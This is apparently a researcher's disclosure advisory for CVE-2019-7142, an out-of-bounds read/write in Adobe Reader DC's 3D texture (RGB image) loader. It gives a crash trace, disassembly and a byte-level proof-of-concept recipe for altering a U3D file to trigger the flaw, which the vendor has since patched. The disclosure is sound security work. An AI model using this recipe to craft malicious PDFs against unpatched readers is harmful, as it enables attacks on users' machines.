CVE: CVE-2019-7142

Tested Versions:

  • Adobe Reader DC 2019.010.20099

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

An out-of-bounds read can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20099.
# The stack trace at crash site:

(f98.9e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=00001820 ebx=2cf8b000 ecx=00002020 edx=0066ac80 esi=00000000 edi=0000ddb0
eip=5f697c59 esp=0066ac20 ebp=0066ac30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
2d!png_set_filter_heuristics+0x47e6:
5f697c59 0fb703          movzx   eax,word ptr [ebx]       ds:0023:2cf8b000=????

0:000> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0066ac30 5f697884 2fd85250 0000e340 2cf8affe 2d!png_set_filter_heuristics+0x47e6
01 0066ac70 5f697b51 31d86f90 2e8c8fb0 14d44e68 2d!png_set_filter_heuristics+0x4411
02 0066ae90 5f692a47 2b89cfa8 14d44e68 2e8c8fb0 2d!png_set_filter_heuristics+0x46de
03 0066aea4 5bd777f6 00000006 2b89cfa8 14d44e68 2d!E3DLLFunc+0xb74
04 0066aec4 5bd3ae58 31d86f90 00000006 2b89cfa8 rt3d!FILETYPE::Func2d+0x5e
05 0066b34c 5bd393ee 346285a8 0066b804 00000000 rt3d!PrepareRescale+0xac8
06 0066b384 5bd6c859 346285a8 0066b804 00000000 rt3d!GetPicture+0x2e
07 0066b5c0 5bd6d566 346285a8 0066b804 00000000 rt3d!EndPicturesCache+0x5352
08 0066ba30 5bd6ca9b 346284e8 346285a8 0066c078 rt3d!EndPicturesCache+0x605f
09 0066c284 5bd6cd56 346284e8 00000000 2e8c8fb0 rt3d!EndPicturesCache+0x5594
0a 0066c4e4 5bd1fda5 2b7c0cb0 2e8c8fb0 00000000 rt3d!EndPicturesCache+0x584f
0b 0066c504 5bca77ea 00000002 2e8c8fb0 2f0091e8 rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0c 0066c984 5bc73ebd 00000000 29d44fc8 00000000 rt3d!V4CUnloadRT+0x30b97
0d 0066c99c 5d2406df 29d44fc8 00000000 0066c9f0 rt3d+0x3ebd

The out-of-bounds read / write in TRGB::expandrow():

.text:10007C59 loc_10007C59:                ; CODE XREF: TRGB::expandrow(uchar *,ushort *)+3E
.text:10007C59         movzx   eax, word ptr [ebx] ; OOB Read
.text:10007C5C         add     ebx, 2
.text:10007C5F         sub     esi, [edx+8]
.text:10007C62         mov     [ebp+arg_C], eax
.text:10007C65         mov     eax, [ebp+arg_0]
.text:10007C68         mov     [ebp+arg_8], ebx
.text:10007C6B         mov     ebx, [ebp+arg_C]
.text:10007C6E
.text:10007C6E loc_10007C6E:                ; CODE XREF: TRGB::expandrow(uchar *,ushort *)+8F
.text:10007C6E         dec     cl
.text:10007C70         test    edi, edi
.text:10007C72         jle     short loc_10007C80
.text:10007C74         mov     [eax], bl       ; OOB Write
.text:10007C76         add     eax, [edx+8]
.text:10007C79         sub     edi, [edx+8]
.text:10007C7C         test    cl, cl

The call stack near crash site is resolved as:

#0 TRGB::expandrow(unsigned char *, unsigned short *)
#1 TRGB::Read(void)
#2 _LoadRGB(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#3 RGBImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)
#4 ...

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications need to be made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.tga"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 74 67 61

Timeline:

  • 2019-05-06 Vendor disclosure
  • 2019-05-14 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-18.